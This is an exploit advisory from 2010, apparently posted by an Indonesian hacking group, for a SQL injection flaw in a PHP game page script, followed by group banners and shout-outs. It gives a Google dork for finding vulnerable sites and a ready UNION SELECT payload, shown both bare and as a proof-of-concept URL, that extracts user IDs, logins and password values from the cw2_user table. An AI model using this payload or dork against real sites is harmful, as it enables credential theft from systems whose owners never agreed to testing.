PHP Gamepage – SQL Injection
************************************************************************* , | ,---. , . |---. ,---. ,---. ,---. ,---. ,---. , . , | --- | | | | | |---' | | | |---' | | | | `---' `---| `---' `---' ` `---' ` `---' `---`--- ` `---' ************************************************************************* [V] PHP Gamepage SQL Injection Vulnerability --==[ Author ]==-- [+] Author : v4lc0m87 [+] Contact : valcom87[at]gmail[dot]com [+] Group : INDONESIAN CYBER [+] Site : http://indonesian-cyber.org/ [+] Date : May, 17-2010 [INDONESIA] ************************************************************************* --==[ Details ]==-- [+] Vulnerable : SQL Injection [+] Google Dork : inurl:index.php?title=gamepage +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [-] Exploit: [+] -111+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat_ws(0x3a,id,login,pass)v4lc0m87,0,0,0,0,0,0,0,0,0,0,0,0+from+cw2_user-- [-] Remote SQLi p0c: [+] http://127.0.0.1/index.php?title=gamepage&m=-111+union+select+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat_ws(0x3a,id,login,pass)v4lc0m87,0,0,0,0,0,0,0,0,0,0,0,0+from+cw2_user-- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ INDONESIAN-CYBER.ORG | DEVILZC0DE.ORG | INDONESIANHACKER.ORG | HACKER-CISADANE.ORG | TECON-CREW.ORG [V] thx to: SaruKusai (putus nyambung terus,hahha) MarilynMesum (smoga jadi bassis terbaik) Team m0n0n banci kamera(clase_1214n,c4uR,astroboyyy,aldy182,vhesckot_1601) Bocah tua nakal (mbah l4mpor,awchoy) flyff666 cruz3N petimati spykit v3n0m uzanc kokoh wisdom (program jadi rokok 3 slop marlboro menthol wkwkwkwk) blue screen, skutengboy (kalian pasangan yg serasi, jikakakakakk) [K]urabu[S]aru [RnR] cO2 community and y0u !! |